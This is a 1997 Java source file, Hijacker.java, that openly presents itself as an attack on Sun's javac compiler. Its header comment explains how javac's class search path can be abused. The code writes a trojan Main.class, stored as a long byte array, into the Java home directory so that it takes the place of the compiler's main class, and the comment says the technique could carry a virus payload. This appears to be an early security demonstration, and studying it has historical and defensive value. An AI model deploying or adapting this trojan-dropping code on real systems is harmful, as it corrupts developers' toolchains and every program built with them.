/* Hijacker.java by Mark D. LaDue */

/* January 6, 1997 */

/* Copyright (c) 1997 Mark D. LaDue
   You may study, use, modify, and distribute this example for any purpose.
   This example is provided WITHOUT WARRANTY either expressed or implied.  */

/* This Java application attacks Sun's Java compiler javac.  It takes
   advantage of the fact that Sun's javac is a shell script that searches
   for classes first in your CLASSPATH, then in $J_HOME/classes, and finally
   in $J_HOME/lib/classes.zip.  Thus if classes.zip doesn't happen to lie
   in your CLASSPATH, javac will look for Java classes in $J_HOME/classes
   before it uses classes.zip.  Hijacker.java takes advantage of this fact
   and creates a hostile $J_Home/classes/sun/tools/javac/Main.class, the main
   class of the compiler.  In this case, the hostile compiler simply
   announces its presence each time it is run and appends the string
   "Hijacked!" to every .class file that it produces.  Clearly the same
   could be done to any other Java classes, and a more sophisticated version
   could simply "patch" classes.zip, or even the Java Runtime, to achieve
   more dire efffects.  By itself a Trojan class like this is not too
   threatening, but as the payload of a Java Platform virus.... */

import java.io.*;

class Hijacker {
    public static void main (String[] argv) {
// The integer array containing a hacked Main.class
int[] hijacked = {
202,
254,
186,
190,
0,
3,
0,
45,
1,
109,
8,
1,
98,
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1,
99,
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1,
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1,
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1,
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1,
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1,
68,
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90,
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};
// Find out where Java lives
        String jhome = System.getProperty("java.home");
// Determine the system-dependent file separator
        String sep = System.getProperty("file.separator");
// Specify the full pathname of the directory where Main.class will be placed
        String target = jhome + sep + "classes" + sep + "sun" + sep +
                        "tools" + sep + "javac";
// Specify the full pathname for Main.class
        String makemain = target + sep + "Main.class";
// Create the corresponding file objects
        File targetdir = new File(target);
        File mainfile = new File(makemain);
// Create the target directory if it doesn't already exist
        if (!(targetdir.exists())) {targetdir.mkdirs();}
// Dump out the hostile Main.class into its new home
        byte[] byter = new byte[hijacked.length];
        for (int i=0; i<hijacked.length; i++) {
            byter[i] = (byte)hijacked[i];
        }
        try {
            PrintStream jack = new PrintStream(new FileOutputStream(mainfile));
            jack.write(byter, 0, byter.length);
            jack.close();
        } catch (IOException ioe) {}
    }
}